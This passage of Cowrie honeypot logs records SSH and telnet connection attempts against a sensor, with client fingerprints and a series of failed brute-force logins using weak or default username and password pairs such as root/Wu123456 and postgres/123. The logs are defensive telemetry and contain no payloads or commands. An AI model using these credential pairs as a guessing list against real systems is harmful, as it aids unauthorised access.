lgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.230644Z","src_ip":"159.203.92.129","session":"8110b0b60316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"!QAZ@WSX3edc!@#","message":"login attempt [ansible/!QAZ@WSX3edc!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.242306Z","src_ip":"159.203.92.129","session":"8110b0b60316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.359603Z","src_ip":"176.65.139.103","session":"518ca63dc4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":36014,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d6b8c99e510","protocol":"telnet","message":"New connection: 161.97.124.15:36014 (159.203.135.109:23) [session: 5d6b8c99e510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.511395Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:38.247904Z","src_ip":"159.203.92.129","session":"8110b0b60316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:38.474942Z","src_ip":"176.65.139.103","session":"518ca63dc4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":60412,"dst_ip":"10.17.0.5","dst_port":22,"session":"f884bbc7897f","protocol":"ssh","message":"New connection: 202.184.144.220:60412 (10.17.0.5:22) [session: f884bbc7897f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:42.723685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:42.728090Z","src_ip":"202.184.144.220","session":"f884bbc7897f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:42.972080Z","src_ip":"202.184.144.220","session":"f884bbc7897f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39612,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ef8057df99","protocol":"ssh","message":"New connection: 176.65.139.103:39612 (10.17.0.5:22) [session: 81ef8057df99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:43.795779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:43.802046Z","src_ip":"176.65.139.103","session":"81ef8057df99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:43.884876Z","src_ip":"176.65.139.103","session":"81ef8057df99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wu123456","message":"login attempt [root/Wu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:43.976040Z","src_ip":"202.184.144.220","session":"f884bbc7897f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:44.150819Z","src_ip":"176.65.139.103","session":"81ef8057df99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:45.223206Z","src_ip":"202.184.144.220","session":"f884bbc7897f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:45.263263Z","src_ip":"176.65.139.103","session":"81ef8057df99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.385666608810425,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:50.400412Z","src_ip":"213.136.75.179","session":"6b8af7c410cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":39628,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fc61a07378f","protocol":"ssh","message":"New connection: 176.65.139.103:39628 (10.17.0.5:22) [session: 3fc61a07378f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:50.999922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:51.027023Z","src_ip":"176.65.139.103","session":"3fc61a07378f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:51.105746Z","src_ip":"176.65.139.103","session":"3fc61a07378f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.250537633895874,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:51.434989Z","src_ip":"213.136.75.179","session":"c531e988894f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:51.453816Z","src_ip":"176.65.139.103","session":"3fc61a07378f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:52.845537Z","src_ip":"176.65.139.103","session":"3fc61a07378f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24210262298584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:53.054765Z","src_ip":"161.97.124.15","session":"9178df9b96ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":32816,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ea9a6a7dce","protocol":"ssh","message":"New connection: 103.176.20.115:32816 (10.17.0.5:22) [session: 50ea9a6a7dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:53.187271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:53.191787Z","src_ip":"103.176.20.115","session":"50ea9a6a7dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:53.439686Z","src_ip":"103.176.20.115","session":"50ea9a6a7dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4rfvVFR$","message":"login attempt [root/4rfvVFR$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:54.452028Z","src_ip":"103.176.20.115","session":"50ea9a6a7dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:55.699629Z","src_ip":"103.176.20.115","session":"50ea9a6a7dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38322,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cac46d89001","protocol":"ssh","message":"New connection: 176.65.139.103:38322 (10.17.0.5:22) [session: 6cac46d89001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:57.825268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:57.829568Z","src_ip":"176.65.139.103","session":"6cac46d89001","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:57.910959Z","src_ip":"176.65.139.103","session":"6cac46d89001","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:58.387606Z","src_ip":"176.65.139.103","session":"6cac46d89001","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:59.496397Z","src_ip":"176.65.139.103","session":"6cac46d89001","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58276,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9edd92bdfd6","protocol":"ssh","message":"New connection: 176.65.139.103:58276 (10.17.0.5:22) [session: a9edd92bdfd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:04.222747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:04.227612Z","src_ip":"176.65.139.103","session":"a9edd92bdfd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:04.309964Z","src_ip":"176.65.139.103","session":"a9edd92bdfd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:04.555434Z","src_ip":"176.65.139.103","session":"a9edd92bdfd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:05.640245Z","src_ip":"176.65.139.103","session":"a9edd92bdfd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.5437331199646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:08.054997Z","src_ip":"161.97.124.15","session":"5d6b8c99e510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":42676,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd7b8ab0930a","protocol":"telnet","message":"New connection: 161.97.124.15:42676 (159.203.135.109:23) [session: fd7b8ab0930a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:09.263664Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":46580,"dst_ip":"159.203.135.109","dst_port":23,"session":"416533247347","protocol":"telnet","message":"New connection: 185.26.126.47:46580 (159.203.135.109:23) [session: 416533247347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:09.646869Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58278,"dst_ip":"10.17.0.5","dst_port":22,"session":"dea4b9c34116","protocol":"ssh","message":"New connection: 176.65.139.103:58278 (10.17.0.5:22) [session: dea4b9c34116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:10.565238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:10.571102Z","src_ip":"176.65.139.103","session":"dea4b9c34116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:10.653588Z","src_ip":"176.65.139.103","session":"dea4b9c34116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:10.910966Z","src_ip":"176.65.139.103","session":"dea4b9c34116","protocol":"ssh"}
